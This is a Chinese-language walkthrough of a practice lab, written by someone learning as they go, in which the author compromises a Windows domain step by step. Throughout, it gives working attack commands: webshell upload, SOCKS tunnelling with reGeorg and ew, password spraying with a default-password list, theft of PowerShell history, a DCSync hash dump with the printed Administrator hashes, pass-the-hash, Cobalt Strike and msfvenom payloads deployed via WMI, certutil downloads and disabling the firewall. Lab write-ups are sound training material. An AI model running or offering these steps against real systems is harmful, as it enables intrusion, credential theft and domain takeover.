靶场环境来自:棉花糖——靶机-No-CVE-Range系列靶场B
大概拓扑如下:

1、端口扫描与服务探测
通达OA任意文件上传,传了一个马,用蚁剑连接
发现有个192.168.10.0/24段的,搭个代理访问
先搭建个隧道,本来想用Stowawa的,没成功
用了一个http协议的工具suo5(后面把suo5代理换成了reGeorg,可以看"在搭建代理链过程中遇到问题")
因为网站是php语言写的,所以把.php文件上传到根目录作为服务端
客户端如下

配置proxifier

192.168.111.20主机里面有有一个密码本
cmd:dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* == *user*
powershell:Get-ChildItem -Path C:\Users\ -Recurse -ErrorAction SilentlyContinue -Include *pass*.txt, *pass*.xml, *pass*.ini, *cred*, *vnc*, *.config, *user* -File | Select-Object FullName, Length, LastWriteTime
192.168.10.128 alice/P@ssw0rd

将fscan传到第一台主机上,进行内网网段扫描,存在一台主机192.168.10.128
进行端口扫描,fscan -h 192.168.10.128 -p 1-65535 -o fscan.txt
2、3389远程登录
注意,要加域前缀(例如 domain\username)


信息收集,还有一个域环境,网段172.16.10.0/24

3、域内信息收集
这里记下工具BloodHound,可视化图形显示域环境中的关系(你会说,你咋就写这点呢,因为我第一次用,不太会用)
工具安装使用参考文章:https://www.freebuf.com/articles/web/288370.html

5、内网穿透搭建
搭建个代理链,物理机访问172.16段
在reGeorg搭建好的基础上
192.168.10.98执行:建立一个反向 SOCKS 代理,在本机的 1080 端口启动 SOCKS5 代理,连接到远程主机的 7778 端口
ew_for_Win.exe -s rcsocks -l 1080 -e 7778
192.168.10.128执行:运行反向连接命令,连接到 192.168.10.98远程的 7778 端口
ew_for_Win.exe -s rssocks -d 192.168.10.98 -e 7778
Pro设置
这里的6665就是上面搭的1111


测试是否搭建成功
.\nxc.exe smb 172.16.10.129 -u alice -p P@ssw0rd
没啥问题,可以通过物理机访问到172.16段
6、共享目录枚举与敏感信息获取
本来想在物理机上枚举172网段SMB共享目录,运行命令以后,web服务就挂,需要重启靶场才行,只能在内网主机上执行了
列出所有可访问的共享文件夹:.\nxc.exe smb 172.16.10.0/24 -u alice -p P@ssw0rd --shares• 发现172.16.10.129自定义共享 xya,有读权限

爬取目标共享文件夹名为 "xya"内所有文件
.\nxc.exe smb 172.16.10.0/24 -u alice -p P@ssw0rd -d xya.com --spider xya --pattern .
临时挂载 SMB 共享、读取文件、然后删除驱动器映射
cmd:net use Z: \\172.16.10.129\xya /user:xya.com\alice P@ssw0rd && type Z:\Memo.txt && net use Z: /delete
arlpass
anonymous
root
12345678
private
123
zxsoft1234!@#$
123456
admin
system
hicomadmin
eyou_admin
cyouadmin
#NAME?
leadsec.auditor
12345
cnoa.cn2010password
leadsec@7766
admin123
leadsec
leadsec32
leadsec.useradmin
leadsec.waf
admin*PWD
firewall
Xyacontribution1!
hillstone
guest
qxcomm1680
qxcommsupport
qxcomm1688
qxcommsuport
sua_password$123
sa_password$123
password$123
venus70
venus60
sys$admin@028
freesvr
csmp@CLOUD9877、域用户枚举与密码喷洒
nxc.exe smb 172.16.10.0/24 -u user.txt -p pass.txt
8、本地权限排查与凭据挖掘
你会有疑问,这怎么用CS执行了?因为这个靶场不是连续做完的,截图就不连贯,可以看下面的"上线到CS"
从PowerShell历史文件,获取高权限用户凭据(calue/LongliveChina1!)
用于窃取所有用户PowerShell命令历史记录的命令
powerpick Get-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\" -Recurse -ErrorAction SilentlyContinue | ForEach-Object { "`n=== $($_.FullName) ==="; Get-Content $_.FullName -ErrorAction SilentlyContinue } | Out-File C:\Windows\Temp\all_history.txt
Get-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\"
-Recurse
-ErrorAction SilentlyContinue
-Path C:\Users\*\AppData\... 搜索所有用户的 PSReadLine 目录
-Recurse - 递归搜索子目录
-ErrorAction SilentlyContinue 忽略权限错误(无法访问的用户目录)
download C:\Windows\Temp\all_history.txt
calue/LongliveChina1!

9、DCsync权限识别与利用
通过BloodHound确认用户(calue)具备DCsync权限,使用secretsdump.py工具导出域内用户哈希(含域管理员Administrator哈希)

https://github.com/ropnop/impacket_static_binaries/releases
物理机:D:\tools\secretsdump_windows.exe xya/calue:'LongliveChina1!'@172.16.10.130 -dc-ip 172.16.10.130 -just-dc-user administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ece39e1190e04b11c0c21797feb2ec1e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c64e5ebc5f7b7ac425200b12eac0dfb70e36377052547242b185683eac422dcf
Administrator:aes128-cts-hmac-sha1-96:e126327fd843bfc06141b711523f003f
Administrator:des-cbc-md5:ead0b585e9fd3e5d10、哈希传递登录与域控权限获取
利用域管理员哈希,通过evil-winrm工具实现哈希传递登录域控制器(172.16.10.130)
https://github.com/Hackplayers/evil-winrm
使用前进行安装了gem install evil-winrm,参考文章:https://blog.csdn.net/qq_66635990/article/details/135574584
物理机:ruby evil-winrm.rb -u administrator -H ece39e1190e04b11c0c21797feb2ec1e -i 172.16.10.130
上线到CS
第一台主机上线到CS
木马上传到蚁剑运行就行

第二台主机上线CS
参考文章:https://www.lmboke.com/archives/nei-wang-shen-tou-dai-li-socksxie-yi-lu-you-bu-chu-wang-hou-shen-tou-tong-xun-cs
思路:在192.168.10.128执行正向连接的木马程序,然后让192.168.10.98去主动连接192.168.10.128
cs添加监听器

生成exe程序

上传到192.168.10.128的系统执行exe程序。来到10.98的会话中执行如下命令
命令:connect ip port。connect 192.168.10.128 4433成功上线


第三台主机上线CS
需求:把木马运行在第三台主机上。监听和木马都可以用同一个,端口虽然一样但是电脑不一样。
假设已经通过密码喷洒得到了凭证vllay/Xyacontribution1!
• 在192.168.10.128创建共享目录
shell mkdir C:\share• 复制木马到共享目录
shell copy C:\Users\Public\beacon4.exe C:\share\ (C:\Users\alice\Desktop)
• 使用域账户 XYA\vllay和密码创建访问令牌
make_token XYA\vllay Xyacontribution1!
make_token 是cs的内置命令,用于:在当前会话中模拟指定用户身份、避免在每条命令中重复输入凭证、对后续所有操作生效
找到密码本:
shell dir \\172.16.10.129\c$
shell type \\172.16.10.129\c$\xya_share\Memo.txt
• 将木马程序复制到目标机器的临时目录
shell copy C:\share\beacon4.exe \\172.16.10.129\c$\Windows\Temp\beacon4.exe• 使用WMI远程执行木马程序
shell wmic /node:172.16.10.129 /user:XYA\vllay /password:Xyacontribution1! process call create "C:\Windows\Temp\beacon4.exe"
在192.168.10.128会话执行:
命令:connect ip port。connect 172.16.10.129 4434成功上线

上线到MSF
都是主动连接
需要获取一个正向的msf连接,生成一个正向tcp连接的payload文件:
.\msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o b.exe
将木马上传
exe执行成功之后,192.168.111.20会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.111.20
set lport 5555
run
上线第二个主机,添加路由

将木马上传
exe执行成功之后,192.168.10.128会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell

10.129的上线参照CS和msf就可以,一样的。
文件上传到192.168.10.128主机方法:
方法一:直接通过3389复制粘贴
方法二:10.128可以访问到10.98,把文件上传到图片目录上去

然后10.128请求路径,即可下载
certutil -urlcache -split -f http://192.168.10.98/images/ew_for_Win.exe
在搭建代理链过程中遇到问题
问题一:在192.168.10.98这个主机上执行-s rcsocks -l 1080 -e 7778命令时,3389就断,最后把suo5代理换成了reGeorg,就解决了
换reGeorg也和suo5操作差不多
netstat -ano |findstr 端口
taskkill /t /f /pid 111
python3 neoreg.py -k password -u http://192.168.111.20/tunnel.php -p 6665
问题二:在搭建过程中,192.168.10.128主机上的ew一直连接不到10.98主机,ping可以ping通

netsh advfirewall set allprofiles state off关闭10.98主机Windows 防火墙,问题解决

4、权限滥用修改用户密码
查看对特定用户的委派权限
# 需要安装 ActiveDirectory 模块
Import-Module ActiveDirectory
# 查看对 wake 用户的有效权限
(Get-Acl "AD:\$(Get-ADUser wake -Properties DistinguishedName | Select-Object -ExpandProperty DistinguishedName)").Access | Where-Object {$_.IdentityReference -like "*alice*"}

权限详情解析
ActiveDirectoryRights : ExtendedRight ← 扩展权限
ObjectType : 00299570-246d-11d0-a768-00aa006e0529 ← 重置密码 GUID
AccessControlType : Allow ← 允许
IdentityReference : XYA\alice ← 授权给 alice00299570-246d-11d0-a768-00aa006e0529 是 Active Directory 中 "User-Force-Change-Password"(重置密码) 的标准 GUID。
现在可以重置密码了
使用 PowerShell
# 重置 wake 的密码
$newPassword = ConvertTo-SecureString "NewP@ssw0rd2025!" -AsPlainText -Force
Set-ADAccountPassword -Identity wake -Reset -NewPassword $newPassword切换到 wake 域用户
runas /user:XYA\wake powershell搜索flag文件
powershell:Get-ChildItem -Path C:\Users\ -Recurse -ErrorAction SilentlyContinue -Include *pass*.txt, *pass*.xml, *pass*.ini, *cred*, *vnc*, *.config, *user* -File | Select-Object FullName, Length, LastWriteTime以Wake域用户身份上线CS
以 Wake 域用户权限运行 Alice 桌面的文件
复制文件到公共位置,这样wake才有权访问
runas /user:XYA\wake "C:\Users\Public\beacon2.exe"以wake身份上线
我是边学边做的,有不对的地方请谅解,请指正,感谢。